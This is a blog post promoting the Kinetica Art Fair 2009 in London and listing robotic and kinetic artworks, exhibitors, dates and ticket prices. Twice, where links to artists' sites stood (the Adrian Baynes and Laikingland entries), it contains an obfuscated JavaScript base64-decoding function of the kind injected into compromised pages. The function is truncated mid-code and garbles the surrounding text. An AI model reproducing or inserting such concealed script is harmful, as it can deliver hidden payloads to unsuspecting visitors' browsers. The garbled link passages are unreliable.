in London, do not miss: Kinetica Art Fair 2009

This sounds like the machine art event of the year, and while plane fares to London are at an all-time low... the Kinetica Art Fair 2009, the UK's first art fair dedicated to kinetic, robotic, sound, light and time-based art, opens in London on Friday, February 27. More than 25 galleries and organizations specializing in kinetic, electronic and new media art are taking part, and *over 150 artists* will exhibit, operate and even be selling their work. The organizer emailed saying, "The Fair will be like no other with 'living' artwork moving, speaking and performing. The Fair provides unparalleled opportunities for the public and collectors alike to view and buy work from this thriving international movement, and to participate in talks, workshops and performances."
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The event opens Friday night with a performance event and the exhibition continues through Monday with more robots, performances, art machines, kinetic installations, computer art hacker meetups and more on the growing schedule. Those incredible pole-dancing robots by Giles Walker I blogged about previously and with much lust will give a couple of performances, and also creepy-cool sounding is the installation by function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfandco.com/">Adrian Baynes: the Wall of Eyes, an interactive public piece, comprising of 225 mannequin eyes which follow the viewer as they walk around.

Also on my list of event highlights at Kinetica Art Fair 2009 -- who I'd most like to see include:
* function m65c3bbf5572b(wc){var s4='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var r1='';var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<<2)|(p5>>4);rd=((p5&15)<<4)|(q8>>2);wb=((q8&3)<<6)|w7;if(qb>=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vfand.co.uk/">Laikingland presenting an interactive installation of 50-60 Applause Machines, designed by Martin Smith.
* "Materials Beliefs" -- bringing robots into the domestic environment with a group of household objects (like lamps) powered by dead bugs called "Carnivorous Domestic Entertainment Robots." According to designers and scientists/engineers Aleksandar Zivanovic, James Auger and Jimmy Loizeau, "Materials Beliefs ... will be exploring both the aesthetics and functionality that may elicit a symbiotic coexistence with humans in their homes. They are all based on the technology of biological fuel cells, which generate electricity by the action of micro-organisms on biological matter. The robots trap animal pests in the domestic environment and use the electricity produced by the fuel cells to lead autonomous existences."
* The Shadow Robot Company: a decade-old organization that have recently been collaborating with performing arts students at Leeds University to build a giant, ceiling suspended spider crab, which dancers are able to interact with.
* American artist Jack Pavlik (below: video of 6 Bands), with 2 works from Jack's prolific collection for ArtBots 2008; The Storm and 6 Bands which link stillness and motion, sight and sound and science with art to generate compelling machine-based performance pieces.

The Kinetica Art Fair 2009 opens on Friday, February 27 and runs until Monday, March 2. It features many well known kinetic artists from across the world including Daniel Chadwick, ton">Sam Buxton, Jason Bruges, Martin Richman and Tim Lewis. A weekend pass is only £20 and prices go down from there (£5 for a day pass). It will be at P3 -- 35 Marylebone Road. London. NW1 5LS.